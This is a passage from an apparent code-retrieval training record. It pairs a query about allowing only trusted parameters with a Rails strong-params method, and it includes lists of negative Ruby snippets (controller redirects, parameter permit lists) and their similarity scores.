"def after_sign_up_path_for(resource)\n puts \"Redirecting to edit associated player or create a new one\"\n if resource.player\n edit_player_path(resource.player)\n else\n new_player_path\n end \n end",
"def create\n \tredirect_to results_path\n end",
"def create\n @entry = Entry.new(entry_params)\n @redirect_location = session.delete(:return_to) || @entry\n super\n end",
"def destroy\n @redirect.destroy\n respond_to do |format|\n format.html { redirect_to redirects_url, notice: 'Redirect was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def redirect(object, commit)\n if commit.key?('_save')\n redirect_to([:admin, :travel, object], notice: actions_messages(object))\n elsif commit.key?('_add_other')\n redirect_to(\n send(\"new_admin_travel_#{object.model_name.element}_path\"),\n notice: actions_messages(object)\n )\n end\n end",
"def redirect(object, commit)\n if commit.key?('_save')\n redirect_to([:admin, :travel, object], notice: actions_messages(object))\n elsif commit.key?('_add_other')\n redirect_to(\n send(\"new_admin_travel_#{object.model_name.element}_path\"),\n notice: actions_messages(object)\n )\n end\n end",
"def redirect(object, commit)\n if commit.key?('_save')\n redirect_to([:admin, :travel, object], notice: actions_messages(object))\n elsif commit.key?('_add_other')\n redirect_to(\n send(\"new_admin_travel_#{object.model_name.element}_path\"),\n notice: actions_messages(object)\n )\n end\n end",
"def redirect(object, commit)\n if commit.key?('_save')\n redirect_to([:admin, :travel, object], notice: actions_messages(object))\n elsif commit.key?('_add_other')\n redirect_to(\n send(\"new_admin_travel_#{object.model_name.element}_path\"),\n notice: actions_messages(object)\n )\n end\n end",
"def redirect(object, commit)\n if commit.key?('_save')\n redirect_to([:admin, :travel, object], notice: actions_messages(object))\n elsif commit.key?('_add_other')\n redirect_to(\n send(\"new_admin_travel_#{object.model_name.element}_path\"),\n notice: actions_messages(object)\n )\n end\n end",
"def destroy\n @redirect.destroy\n respond_to do |format|\n format.html { redirect_to redirects_url, notice: \"Redirect was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def after_sign_up_path_for(resource)\n # flash[:notice] = 'You must create a Profile'\n '/profiles/new'\n end",
"def delete_redirect_action\n redirect = Redirect.find(params[:redirect_id].to_i)\n redirect.destroy\n flash[:notice] = \"The redirect has been deleted.\"\n return redirect_to \"/admin\"\n end",
"def index; redirect_to :action => 'list'; end",
"def create\n redirect_to :action => 'not_implemented', :status => 501\n end",
"def createevent\n \tredirect_to(\"/group/newEvent\")\n end",
"def new\n __log_activity\n __debug_route\n if current_user\n message = 'You already have an EMMA account' # TODO: I18n\n return redirect_back(fallback_location: root_path, alert: message)\n end\n super\n end",
"def create\n @person = Person.new(person_params)\n if @person.save\n redirect_to :root\n else\n render :new\n end\n #next we say where to send them to\n #could also say :root which equals root_path\n end",
"def create\n @redirect = Redirect.new(redirect_params)\n\n respond_to do |format|\n if @redirect.save\n format.html { redirect_to :admin_dashboard, notice: 'Redirect was successfully created.' }\n format.json { render :show, status: :created, location: @redirect }\n else\n format.html { render :new }\n format.json { render json: @redirect.errors, status: :unprocessable_entity }\n end\n end\n end",
"def after_sign_up_path_for(resource_or_scope)\n session[:redirect_url] || super\n end",
"def destroy\n redirect_to '/posts'\n end",
"def create\n @redirect = Redirect.new(redirect_params)\n\n respond_to do |format|\n if @redirect.save\n format.html { redirect_to @redirect, flash: { success: 'Redirect was successfully created.' } }\n format.json { render :show, status: :created, location: @redirect }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @redirect.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sign_out_and_redirect(resource_or_scope); end",
"def destroy\n flash[:alert] = 'Account Destroy is not possible.'\n redirect_to(request.referrer || root_path) and return\n end",
"def create\r\n super do |format|\r\n redirect_to collection_url and return if resource.valid?\r\n end\r\n end",
"def create\r\n super do |format|\r\n redirect_to collection_url and return if resource.valid?\r\n end\r\n end",
"def create\r\n super do |format|\r\n redirect_to collection_url and return if resource.valid?\r\n end\r\n end",
"def create\r\n super do |format|\r\n redirect_to collection_url and return if resource.valid?\r\n end\r\n end",
"def after_save(cc)\n redirect_to :controller => 'home', :action => 'index' if cc\n end",
"def redirect_to\n return @redirect_to\n end",
"def go_back\n redirect_to '/account/property-syndication'\n end",
"def destroy\n @redirect.destroy\n respond_to do |format|\n format.html { redirect_to redirects_url, flash: { success: 'Redirect was successfully destroyed.' } }\n format.json { head :no_content }\n end\n end",
"def create\n # Creating the patient with present surgeon\n params[:patient][:owner_id] = devise_current_user.id.to_s\n patient = current_user.patients.new(patient_params)\n # Condition for checking the saved or not\n if patient.save\n # Check the condition of which url is present\n if params[:patient][:prev_url].present?\n # If prev present then navigate to the patients case form\n redirect_to new_patient_case_path(patient)\n else\n # redirect to the patients if prev url not present\n redirect_to patients_path\n end\n else\n # redirect to the same page of the patient new page\n redirect_to :back\n # if the record is not save then navigate to the same page and showing the flash\n flash.notice = \"Need fill out the Essential Fields\"\n end\n end",
"def save_redirector saved, object, message\n respond_to do |format|\n if saved\n format.html { redirect_to object, notice: message }\n format.json { render :show, status: :ok, location: object }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_new\n \"/users/new\"\nend"
] |
[
"0.7546049",
"0.7231048",
"0.6943585",
"0.68767154",
"0.68010205",
"0.67701423",
"0.6737539",
"0.6730852",
"0.6704272",
"0.6660237",
"0.6649508",
"0.65838856",
"0.65654594",
"0.6530129",
"0.6530129",
"0.6481723",
"0.64756805",
"0.6455428",
"0.6451169",
"0.6440487",
"0.6436338",
"0.64227915",
"0.63519496",
"0.63355315",
"0.6320459",
"0.6301026",
"0.63003606",
"0.62977314",
"0.62887686",
"0.62857527",
"0.6242498",
"0.62420624",
"0.6233004",
"0.6205882",
"0.6189983",
"0.61795527",
"0.6176104",
"0.6174269",
"0.6153795",
"0.614284",
"0.61336505",
"0.61336505",
"0.61235565",
"0.6104629",
"0.61004186",
"0.609863",
"0.6097329",
"0.6092274",
"0.6081155",
"0.60802686",
"0.6060932",
"0.6058042",
"0.6045447",
"0.60354733",
"0.6028004",
"0.60164",
"0.60032344",
"0.59889805",
"0.5986781",
"0.5981799",
"0.5979572",
"0.5978879",
"0.5974958",
"0.5947257",
"0.59456265",
"0.5944246",
"0.59412116",
"0.5939461",
"0.59391606",
"0.59369963",
"0.59351176",
"0.593441",
"0.593441",
"0.593441",
"0.593441",
"0.593441",
"0.59310335",
"0.59296906",
"0.5928706",
"0.59286046",
"0.5926824",
"0.5925505",
"0.592287",
"0.5921913",
"0.59149104",
"0.59129065",
"0.59082824",
"0.5907346",
"0.5904027",
"0.5902392",
"0.59019417",
"0.59019417",
"0.59019417",
"0.59019417",
"0.58953357",
"0.5889936",
"0.5884344",
"0.587987",
"0.58788407",
"0.58782756",
"0.58769274"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def bookmark_params
params.permit(:bookmark, :post_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
Constructs a new TimeOrDateTime. timeOrDateTime can be a Time, DateTime or Integer. If using a Time or DateTime, any time zone information is ignored. Integer timestamps must be within the range supported by Time on the platform being used.
|
def initialize(timeOrDateTime)
@time = nil
@datetime = nil
@timestamp = nil
if timeOrDateTime.is_a?(Time)
@time = timeOrDateTime
# Avoid using the slower Rational class unless necessary.
nsec = RubyCoreSupport.time_nsec(@time)
usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)
@time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc?
@orig = @time
elsif timeOrDateTime.is_a?(DateTime)
@datetime = timeOrDateTime
@datetime = @datetime.new_offset(0) unless @datetime.offset == 0
@orig = @datetime
else
@timestamp = timeOrDateTime.to_i
if !RubyCoreSupport.time_supports_64bit && (@timestamp > 2147483647 || @timestamp < -2147483648 || (@timestamp < 0 && !RubyCoreSupport.time_supports_negative))
raise RangeError, 'Timestamp is outside the supported range of Time on this platform'
end
@orig = @timestamp
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.is_a?(TimestampWithOffset) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n elsif @orig.is_a?(TimestampWithOffset) || orig.is_a?(TimestampWithOffset)\n to_timestamp_with_offset.timestamp <=> timeOrDateTime.to_timestamp_with_offset.timestamp\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) || \n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n \n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n \n orig = timeOrDateTime.to_orig\n \n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason \n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n @timestamp_with_offset = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n elsif timeOrDateTime.is_a?(TimestampWithOffset)\n @timestamp_with_offset = timeOrDateTime\n\n # The timestamp is always in UTC. To ignore the offset, a local\n # timestamp is created by adding the offset to the timestamp.\n @timestamp_with_offset = TimestampWithOffset.new(@timestamp_with_offset.timestamp + @timestamp_with_offset.utc_offset, 0) unless @timestamp_with_offset.utc_offset == 0 || !ignore_offset\n\n @orig = @timestamp_with_offset\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def create_time(time)\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if it's not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n create_or_update(time, nil, 'time', 'times')\n end",
"def type_literal_generic_time(column)\n column[:only_time] ? :time : :datetime\n end",
"def convert_time(t)\n case t\n when nil then nil\n when Date then t.to_time.utc.iso8601(3)\n when Time then t.utc.iso8601(3)\n when String then Time.parse(t).utc.iso8601(3)\n else raise \"Invalid time format '#{t.class}'. Valid options are Time, Date, or String\"\n end\n rescue StandardError => e\n raise \"Failed to parse time value '#{t}'. #{e.message}\"\n end",
"def create(time)\n TZTime::LocalTime.new(time, @time_zone)\n end",
"def get_datetime_from_time(time)\n DateTime.strptime(time.to_s, \"%Y%m%d%H%M%S\").strftime('%Y-%m-%dT%H:%M:%SZ')\n rescue ArgumentError\n nil\n end",
"def valid_time_or_date?(value)\n value.is_a?(Time) || value.is_a?(Date) || value.is_a?(ActiveSupport::TimeWithZone)\n end",
"def set_time_as_datetime(options)\n options[:type] = DateTime if options[:type] == Time\n end",
"def typecast_value_time(value)\n case value\n when Time\n if value.is_a?(SQLTime)\n value\n else\n # specifically check for nsec == 0 value to work around JRuby 1.6 ruby 1.9 mode bug\n SQLTime.create(value.hour, value.min, value.sec, (value.respond_to?(:nsec) && value.nsec != 0) ? value.nsec/1000.0 : value.usec)\n end\n when String\n Sequel.string_to_time(value)\n when Hash\n SQLTime.create(*[:hour, :minute, :second].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise Sequel::InvalidValue, \"invalid value for Time: #{value.inspect}\"\n end\n end",
"def format(time_or_datetime)\n formatter.call with_offset(time_or_datetime)\n end",
"def type_literal_generic_time(column)\n if column[:only_time]\n type_literal_generic_only_time(column)\n else\n type_literal_generic_datetime(column)\n end\n end",
"def validate_time(time)\n\t\tif time.is_a? Time\n\t\t\treturn time\n\t\telse\n\t\t\treturn Time.parse(time)\n\t\tend\n\tend",
"def time_tag(date_or_time, *args, &block)\n options = args.extract_options!\n format = options.delete(:format) || :long\n content = args.first || I18n.l(date_or_time, format: format)\n\n content_tag(\"time\", content, options.reverse_merge(datetime: date_or_time.iso8601), &block)\n end",
"def time_tag(date_or_time, *args, &block)\n options = args.extract_options!\n format = options.delete(:format) || :long\n content = args.first || I18n.l(date_or_time, :format => format)\n datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601\n\n content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)\n end",
"def initialize( time, make_copy = true )\n \n not_nil( time, \"time\" )\n @time = ( make_copy ? Time.iso8601( time.iso8601( 9 ) ) : time ).utc\n end",
"def time(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n elsif value.nil? or value.empty?\n nil\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def from_time(time, options = nil)\n unique = (options || {})[:unique]\n from_data(unique ? @@generator.next(time.to_i) : [ time.to_i ].pack(\"Nx8\"))\n end",
"def before_Time_or_Date(time_or_date, options={})\n field = by_star_field_class(options)\n lte(field => time_or_date)\n end",
"def time_klass(time)\n case time\n when ActiveSupport::TimeWithZone\n Time\n else\n time.class\n end\n end",
